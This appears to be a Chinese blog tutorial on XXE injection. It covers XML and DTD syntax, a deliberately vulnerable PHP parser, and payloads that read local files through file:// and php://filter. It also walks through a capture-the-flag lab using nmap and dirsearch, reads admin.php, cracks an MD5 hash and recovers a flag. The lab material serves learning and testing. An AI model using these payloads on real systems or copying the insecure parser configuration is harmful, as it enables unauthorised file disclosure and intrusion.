赞
踩
XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。
当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
XML是指可扩展标记语言,它是设计来弥补html的不足,以强大的扩展性满足网络信息的需要,用于网络数据的转换和描述。
所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:
元素是 XML 以及 HTML 文档的主要构建模块,元素可包含文本、其他元素或者是空的。
属性可提供有关元素的额外信息
实体是用来定义普通文本的变量。实体引用是对实体的引用。
PCDATA 的意思是被解析的字符数据(parsed character data)。PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。
CDATA指的是不应由 XML 解析器进行解析的文本数据(unparesed Character Data)
在 XML 元素中,"<" (新元素的开始) 和 "&" (字符实体的开始)是非法的。
某些文本,如JavaScript代码,包含大量 "<" 或 "&" 字符。为例避免错误,可以将脚本代码定义为 CDATA。CDATA 部分在的所有内容都会被解析器忽略。CDATA 部分由 "<![CDATA["开始,由"]]>" 结束。
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD (document type definition)的东西控制的。
DTD 用来为 XML 文档定义语义约束。可以嵌套在 XML 文档中(内部声明),也可以独立放在另一个单独的文件中(外部引用)。是 XML 文档的几条语句,用来说明哪些元素/属性是合法的,以及元素件应该怎么嵌套/组合,也用来将一些特殊字符和可复用代码段自定义为实体。
XML元素,例如<tag>hello</tag>,如果元素内部出现如 < 的特殊字符,解析就会失败,为了避免这种情况,XML 用实体引用(entity reference) 替换特殊字符。XML 预定义五个实体引用。
预定义字符 | 转义后的预定义字符 |
< | < |
> | > |
& | & |
' | ' |
" | " |
实体引用可以起到类似宏定义和文件包含的效果,为例方便,我们会希望自定义实体引用,这个操作在 DTD 的过程中进行。
DTD 实体是用于定义普通文本或特殊字符的快捷方式的变量,可以内部声明或外部声明。
内部实体声明:<!ENTITY 实体名称 "实体的值">
注:一个实体有三部分组成( 1.一个&,2.一个实体名称,3.一个;)
使用内部的 DTD 文件,就是将规则定义在 XML 文件中。假如 DTD 被包含在您的 XML 源文件中,它应当包装在一个 DOCTYPE 声明中。
<!DOCTYPE 根元素 [元素声明]>
- <?xml version="1.0" encoding="UTF-8 ?> <!-- XML声明 -->
-
- <!DOCTYPE note[ <!-- 定义此文档是 note 类型 -->
- <!ELEMENT note (to,from,heading,body))> <!-- 定义to 元素为 PCDATA 类型-->
- <!ELEMENT to (#PCDATA))>
- <!ELEMENT from (#PCDATA))>
- <!ELEMENT heading (#PCDATA))>
- <!ELEMENT body (#PCDATA))>
- ]>
-
-
- <note>
- <to> George </to>
- <from> John </from>
- <heading> Reminder </heading>
- <body> Don't forget the meeting ! </body>
- </note>
- 引用外部的 DTD 文件:<!DOCTYPE 根元素名称 SYSTEM "DTD路径">
-
- 引用外部的 DTD 文件(网络上的 DTD 文件):<!DOCTYPE 根元素名称 PUBLIC "DTD文档的URL">
-
- 当使用外部 DTD 时,使用引入语法:<!DOCTYPE root-element SYSTEM "filename">
(1)声明一个元素
- (1)声明一个元素
- <!ELEMENT 元素名称 类别>
- 或者
- <!ELEMENT 元素名称 (元素内容)>
- (2)空元素
- <!ELEMENT 元素名称 EMPTY>
- (3)只有 PCDATA 的元素
- <!ELEMENT 元素名称 (#PCDATA)>
- (4)带有任何内容的元素
- <!ELEMENT 元素名称 ANY>
- (5)带有子元素的元素
- <!ELEMENT 元素名称 (子元素名称1,子元素名称2,.....)>
- (6)声明只出现一次的元素
- <!ELEMENT 元素名称 (子元素名称)>
- (7)声明最少出现一次的元素
- <!ELEMENT 元素名称 (子元素名称+)>
- (8)声明出现零次或多次的元素
- <!ELEMENT 元素名称 (子元素名称+)>
- (9)声明出现零次或多次的元素
- <!ELEMENT 元素名称 (子元素名称*)>
- (10)声明出现零次或一次的元素
- <!ELEMENT 元素名称 (子元素名称?)>
- (11)声明“非.../既...”类型的内容
- <!ELEMENT note (to,from,header,(message|body))>
- (12)声明混合型的内容
- <!ELEMENT note (#PCDATA|to|from|header|message)*>
(1)声明属性
- <!ATTLIST 元素名称 属性名称 属性类型 默认值>
- DTD 实例:
- <!ATTLIST payment type CDATA "check">
- XML 实例:
- <payment type="check" />
(2)列举属性值
- <!ATTLIST 元素名称 属性名称 (en1|en2|..) 默认值>
- DTD 例子:
- <!ATTLIST payment type (check|cash) "cash">
- XML 例子:
- <payment type="check" />
- 或者
- <payment type="cash" />
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
(1)一个内部实体声明(类似变量)
假如 DTD 被包含在您的 XML 源文件中,它应当包装在一个 DOCTYPE 声明中。
<!DOCTYPE 根元素 [元素声明]>
- <!ENTITY 实体名称 "实体的值">
- 例子:
- DTD 例子:
- <!ENTITY writer "Bill Gates">
- <!ENTITY copyright "Copyright W3School.com.cn">
- XML 例子:
- <author>&writer;©right;</author>
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
(2)一个外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
- <!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
- <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
- XML 例子:
- <author>&writer;©right;</author>
下面是一个有内部注入的一个php文件
xml有三个重要函数,
- file_get_contents()#file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
- php://input #php://input是一个可以访问请求的原始数据的只读流。结合file_get_contents(“php://input”)可以读取post提交的数据,不提交post数据则无输出。
- simplexml_load_string() #simplexml_load_string() 函数转换形式良好的 XML 字符串为 SimpleXMLElement 对象。
- <?php
- libxml_disable_entity_loader(false); //禁用实体加载器
- $xmlfile = file_get_contents('php://input');
- $dom = new DOMDocument();
- $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD); //导入字符长,生成XML对象
- $creds = simplexml_import_dom($dom); //simplexml_import_dom() 函数从 DOM 节点返回 SimpleXMLElement 对象。
- echo $creds;
- ?>
payload
- <?xml version="1.0" encoding="UTF-8" ?>
- <!DOCTYPE note[
- <!ENTITY write "good boy,this is a test"> ]>
- <note>
- &write;
- </note>
首先访问127.0.0.1/1.php(php文件位置)
报错不管,直接抓包,在post传参位置输入payload
还是上面的php文件
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE note [
- <!ENTITY write SYSTEM "file:///D:/phpstudy_pro/WWW/test.txt"> ]>
- <note>&write;</note>
<!ENTITY write SYSTEM "file:///D:/phpstudy_pro/WWW/test.txt">
- <?xml version="1.0" encoding="utf-8"?>
- <!DOCTYPE test SYSTEM "http://192.168.0.110/DTD.dtd">
- <test>&write;</test>
打开靶场是这样一个界面
我们不知道密码,先用Kali获取同网段IP
- netdiscover -i eth0 -r 192.168.150.0/24
- #或者用nmap
用nmap去扫描192.168.150.143
namp -A -O 192.168.150.143
只有80端口,那就直接访问
信息太少,扫一下子目录
dirsearch -u http://192.168.150.143
访问一下robots.txt,可能有信息泄露
然后我们又发现了两个敏感文件xxe和admin.php,都去访问一下。
xxe可以访问,是一个登录框,而admin.php访问不了,那就先在xxe随便·输入用户名密码,然后抓包
发现是xml格式,那我们先尝试在原有基础上添加DTD声明
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE note [
- <!ENTITY test SYSTEM "good boy">
- ]>
- <root><name>&test;</name><password>password</password></root>
发现有回显,然后尝试通过加密的方式去获取数据,这里我们尝试访问xxe.php
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE note [
- <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
- ]>
- <root><name>&test;</name><password>password</password></root>
然后base64解密查看获取内容
既然可以通过XML去获取内容,那我们看看admin.php的内容
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE note [
- <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
- ]>
- <root><name>&test;</name><password>password</password></root>
然后解码查看
然后直接复制出来,进行代码审计
然后发现用户名为administhebest,密码为MD5加密的e6e061838856bf47e1de730719fb2609。我们尝试解密
解密工具:MD5免费在线解密破解_MD5在线加密-SOMD5
所以密码为admin@123,然后尝试登录xxe,但是发现登录失败
然后我们可以再扫一下xxe这个目录下有什么呢
dirsearch -u http://192.168.150.143/xxe
那么结合刚刚我们获取的是admin.php的内容,看看admin.php,然后发现也是登录界面,尝试登录
结果点击flag链接又报错,不要慌,我么还是通过xxe页面下XXE漏洞,去尝试查看flagmeout.php
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE note [
- <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">
- ]>
- <root><name>&test;</name><password>password</password></root>
然后base64解密,获取JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5,感觉也像加密,我们再进行解密,他的加密方式是base32 (一般MD5加密是32位,base64加密末尾都有等于号,没有等于号的可能是base32加密,严格意义上说是编码),将其解码看一下
先解码,然后解出来又像base64编码,又解码
然后出来路径/etc/.flag.php,又去xxe下去访问
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE note [
- <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
- ]>
- <root><name>&test;</name><password>password</password></root>
解码
$_[]++;$_[]=$_._;$_____=$_[(++$__[])][(++$__[])+(++$__[])+(++$__[])];$_=$_[$_[+_]];$___=$__=$_[++$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++$___.$___.++$_.$__.++$___;$__=$_;$_=$_____;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=+_;$___.=$__;$___=++$_^$___[+_];$Ã=+_;$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=$Ã=++$Ã[];$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$Ã++;$__('$_="'.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.$___.$Ã.$Ã.$Ã.'"');$__($_);
直接把他保存成php文件,然后用浏览器打开
获取flag: SAFCSP{xxe_is_so_easy}
php://filter 有4个可用参数:
名称 | 描述 |
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称 |
write=<写链的筛选列表> 该参数可选。 | 可以设定一个或多个过滤器名称 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
提示:read/write参数不是必须的,可以直接使用过滤器,比如 php://filter/convert.base64-encode/resource=hello.php
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。